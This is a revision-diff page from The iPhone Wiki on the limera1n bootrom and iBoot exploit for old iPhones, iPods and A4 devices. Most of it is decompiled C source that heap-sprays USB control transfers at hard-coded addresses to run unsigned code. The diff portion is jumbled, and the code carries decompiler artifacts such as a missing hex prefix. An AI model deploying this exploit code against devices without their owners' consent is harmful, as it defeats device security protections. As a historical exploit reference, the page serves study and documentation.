Difference between revisions of "Limera1n Exploit"

From The iPhone Wiki
Jump to: navigation, search
m
 
(20 intermediate revisions by 9 users not shown)
Line 1: Line 1:
 
{{lowercase}}
 
{{lowercase}}
The '''limera1n exploit''' is the [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88ap|iPhone 3GS]], [[N18ap|iPod touch 3G]], [[N81ap|iPod touch 4G]], [[K48ap|iPad]], [[N90ap|iPhone 4 GSM]], [[N92ap|iPhone 4 CDMA]], and the [[K66ap|Apple TV 2G]]. It was first used in the [[limera1n]] tool by [[User:geohot|geohot]]. It is actively used on all the supported devices to perform a jailbreak on current versions of [[iOS]], which is [[tethered jailbreak|tethered]] unless there is another exploit available to "[[untethered jailbreak|untether]]" the jailbreak, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]].
+
The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch (3rd generation)]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]].
  +
  +
limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in {{date|2017|04}}. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains the only publicly disclosed bootrom exploit, other than [[SHAtter]], for this device as well as all other variants of the [[iPhone 4]].
   
 
==Source Code==
 
==Source Code==
signed int __cdecl upload_exploit() {
+
signed int __cdecl upload_exploit() {
int device_type;
+
int device_type;
signed int payload_address;
+
signed int payload_address;
int free_address;
+
int free_address;
int deviceerror;
+
int deviceerror;
char *chunk_headers_ptr;
+
char *chunk_headers_ptr;
unsigned int sent_counter;
+
unsigned int sent_counter;
//int v6;
+
//int v6;
signed int result;
+
signed int result;
//signed int v8;
+
//signed int v8;
int recv_error_code;
+
int recv_error_code;
signed int payload_address2;
+
signed int payload_address2;
signed int padding_size;
+
signed int padding_size;
char payload;
+
char payload;
char chunk_headers;
+
char chunk_headers;
/*int v14;
+
//int v14;
v14 = *MK_FP(__GS__, 20); */
+
//v14 = *MK_FP(__GS__, 20);
device_type = *(_DWORD *)(device + 16);
+
device_type = *(_DWORD *)(device + 16);
  +
 
  +
}
 
  +
memcpy(&payload, exploit, 0×230);
 
  +
//payload_address = v8;
fprintf(stderr, 1, "Resetting device counters\n");
 
  +
}
//payload_address = v8;
 
  +
}
 
  +
payload_address2 = payload_address;
 
  +
deviceerror = irecv_reset_counters(client);
payload_address2 = payload_address;
 
  +
deviceerror = irecv_reset_counters(client);
 
irecv_strerror(deviceerror);
+
fprintf(stderr, 1, &aCannotFindS[12]);
fprintf(stderr, 1, &aCannotFindS[12]);
+
result = -1;
result = -1;
+
} else {
} else {
+
memset(&chunk_headers, 0xCC, 0x800);
memset(&chunk_headers, 0xCC, 0×800);
+
chunk_headers_ptr = &chunk_headers;
  +
chunk_headers_ptr = &chunk_headers;
 
*((_DWORD *)chunk_headers_ptr + 3) = free_address;
+
chunk_headers_ptr += 64;
chunk_headers_ptr += 64;
+
} while ((int *)chunk_headers_ptr != &v14);
  +
} while ((int *)chunk_headers_ptr != &v14);
 
  +
fprintf(stderr, 1, "Sending chunk headers\n");
 
+
sent_counter = 0;
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
sent_counter = 0;
 
  +
memset(&chunk_headers, 0xCC, 0×800);
 
+
do {
do {
+
sent_counter += 0x800;
sent_counter += 0x800;
+
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
  +
} while (sent_counter < padding_size);
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
 
  +
} while (sent_counter < padding_size);
 
  +
fprintf(stderr, 1, "Sending exploit payload\n");
 
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);
 
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);
 
if (libpois0n_debug)
+
fprintf(stderr, 1, "Sending fake data\n");
  +
fprintf(stderr, 1, "Sending fake data\n");
 
memset(&chunk_headers, 0xBB, 0x800);
+
irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
+
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
 
  +
fprintf(stderr, 1, "Executing exploit\n");
 
  +
irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
 
irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
+
irecv_reset(client);
irecv_reset(client);
+
irecv_finish_transfer(client);
  +
irecv_finish_transfer(client);
 
fprintf(stderr, 1, "Exploit sent\n");
+
if (libpois0n_debug)
if (libpois0n_debug)
+
fprintf(stderr, 1, "Reconnecting to device\n");
  +
}
fprintf(stderr, 1, "Reconnecting to device\n");
 
  +
}
 
  +
client = (void *)irecv_reconnect(client, 2);
 
if (client) {
+
result = 0;
result = 0;
+
} else {
} else {
+
if (libpois0n_debug) {
if (libpois0n_debug) {
+
recv_error_code = irecv_strerror(0);
recv_error_code = irecv_strerror(0);
+
fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
  +
}
fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
 
  +
}
 
  +
// compiler stack check
 
if (*MK_FP(__GS__, 20) != v14)
+
// __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);
  +
__stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);
 
  +
}
return result;
 
  +
}
 
if ( device_type == 8930 ) {
+
if ( device_type == 8930 ) {
padding_size = 0x2A800;
+
padding_size = 0x2A800;
payload_address = 0x8402B001;
+
payload_address = 0x8402B001;
free_address = 0x8403BF9C;
+
free_address = 0x8403BF9C;
} else {
+
} else {
payload_address = 0x84023001;
+
payload_address = 0x84023001;
padding_size = 0x22800;
+
padding_size = 0x22800;
// free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
+
// free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
if(device_type == 8920) free_address = 0x84033FA4;
+
if(device_type == 8920) free_address = 0x84033FA4;
else free_address = 84033F98;
+
else free_address = 84033F98;
+
}
+
memset(&payload, 0, 0x800);
memset(&payload, 0, 0×800);
+
memcpy(&payload, exploit, 0x230);
+
if (libpois0n_debug) {
if (libpois0n_debug) {
+
//v8 = payload_address;
//v8 = payload_address;
+
fprintf(stderr, 1, "Resetting device counters\n");
+
if ( deviceerror ) {
if ( deviceerror ) {
+
irecv_strerror(deviceerror);
+
do {
do {
+
*(_DWORD *)chunk_headers_ptr = 1029;
*(_DWORD *)chunk_headers_ptr = 1029;
+
*((_DWORD *)chunk_headers_ptr + 1) = 257;
*((_DWORD *)chunk_headers_ptr + 1) = 257;
+
*((_DWORD *)chunk_headers_ptr + 2) = payload_address2;
*((_DWORD *)chunk_headers_ptr + 2) = payload_address2;
+
*((_DWORD *)chunk_headers_ptr + 3) = free_address;
+
if (libpois0n_debug)
if (libpois0n_debug)
+
fprintf(stderr, 1, "Sending chunk headers\n");
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
+
memset(&chunk_headers, 0xCC, 0x800);
+
if (libpois0n_debug)
if (libpois0n_debug)
+
fprintf(stderr, 1, "Sending exploit payload\n");
+
if (libpois0n_debug)
+
memset(&chunk_headers, 0xBB, 0x800);
+
if (libpois0n_debug)
if (libpois0n_debug)
+
fprintf(stderr, 1, "Executing exploit\n");
+
if (libpois0n_debug) {
if (libpois0n_debug) {
+
fprintf(stderr, 1, "Exploit sent\n");
+
client = (void *)irecv_reconnect(client, 2);
+
if (client) {
}
+
fprintf(stderr, 1, "Unable to reconnect\n");
fprintf(stderr, 1, "Unable to reconnect\n");
+
result = -1;
result = -1;
+
}
}
+
}
/* compiler stack check
+
//if (*MK_FP(__GS__, 20) != v14)
*/
+
return result;
 
 
[[Category:Exploits]]
 
[[Category:Exploits]]
 
[[Category:Bootrom Exploits]]
 
[[Category:Bootrom Exploits]]
  +
[[Category:iBoot Exploits]]

Latest revision as of 16:18, 22 May 2022

The limera1n exploit is the bootrom and iBoot exploit used to run unsigned code (and thereby jailbreak) the iPod touch (3rd generation), the iPhone 3GS and all A4-based devices. First used in the limera1n tool by geohot, it can perform a tethered jailbreak on the aforementioned devices. The jailbreak can then be turned into an untethered jailbreak with other exploits, such as the 0x24000 Segment Overflow or the Packet Filter Kernel Exploit.

limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the alloc8 Exploit in April 2017. The last device released vulnerable to limera1n is the iPhone 4 (iPhone3,2), and it remains the only publicly disclosed bootrom exploit, other than SHAtter, for this device as well as all other variants of the iPhone 4.

Source Code

signed int __cdecl upload_exploit() {
    int device_type;
    signed int payload_address;
    int free_address;
    int deviceerror;
    char *chunk_headers_ptr;
    unsigned int sent_counter;
    //int v6;
    signed int result; 
    //signed int v8;
    int recv_error_code;
    signed int payload_address2;
    signed int padding_size;
    char payload;
    char chunk_headers;
    //int v14;
    //v14 = *MK_FP(__GS__, 20);
    device_type = *(_DWORD *)(device + 16);

    if ( device_type == 8930 ) {
        padding_size = 0x2A800;
        payload_address = 0x8402B001;
        free_address = 0x8403BF9C;
    } else {
        payload_address = 0x84023001;
        padding_size = 0x22800;
        // free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
        if(device_type == 8920) free_address = 0x84033FA4;
           else free_address = 84033F98;
    }

    memset(&payload, 0, 0x800);
    memcpy(&payload, exploit, 0x230);

    if (libpois0n_debug) {
        //v8 = payload_address;
        fprintf(stderr, 1, "Resetting device counters\n");
        //payload_address = v8;
    }

    payload_address2 = payload_address;
    deviceerror = irecv_reset_counters(client);

    if ( deviceerror ) {
        irecv_strerror(deviceerror);
        fprintf(stderr, 1, &aCannotFindS[12]);
        result = -1;
    } else {
        memset(&chunk_headers, 0xCC, 0x800);
        chunk_headers_ptr = &chunk_headers;

        do {
            *(_DWORD *)chunk_headers_ptr = 1029;       
            *((_DWORD *)chunk_headers_ptr + 1) = 257;
            *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  
            *((_DWORD *)chunk_headers_ptr + 3) = free_address;
            chunk_headers_ptr += 64;
        } while ((int *)chunk_headers_ptr != &v14);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending chunk headers\n");

        sent_counter = 0;
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        memset(&chunk_headers, 0xCC, 0x800);

        do {
            sent_counter += 0x800;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        } while (sent_counter < padding_size);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending exploit payload\n");

        irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending fake data\n");

        memset(&chunk_headers, 0xBB, 0x800);
        irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);

        if (libpois0n_debug)
        fprintf(stderr, 1, "Executing exploit\n");

        irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
        irecv_reset(client);
        irecv_finish_transfer(client);

        if (libpois0n_debug) {
            fprintf(stderr, 1, "Exploit sent\n");
            if (libpois0n_debug)
                fprintf(stderr, 1, "Reconnecting to device\n");
        }

        client = (void *)irecv_reconnect(client, 2);

        if (client) {
            result = 0;
        } else {
            if (libpois0n_debug) {
                recv_error_code = irecv_strerror(0);
                fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
            }
            fprintf(stderr, 1, "Unable to reconnect\n");
            result = -1;
        }
    }

    // compiler stack check
    //if (*MK_FP(__GS__, 20) != v14)
    //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

    return result;
}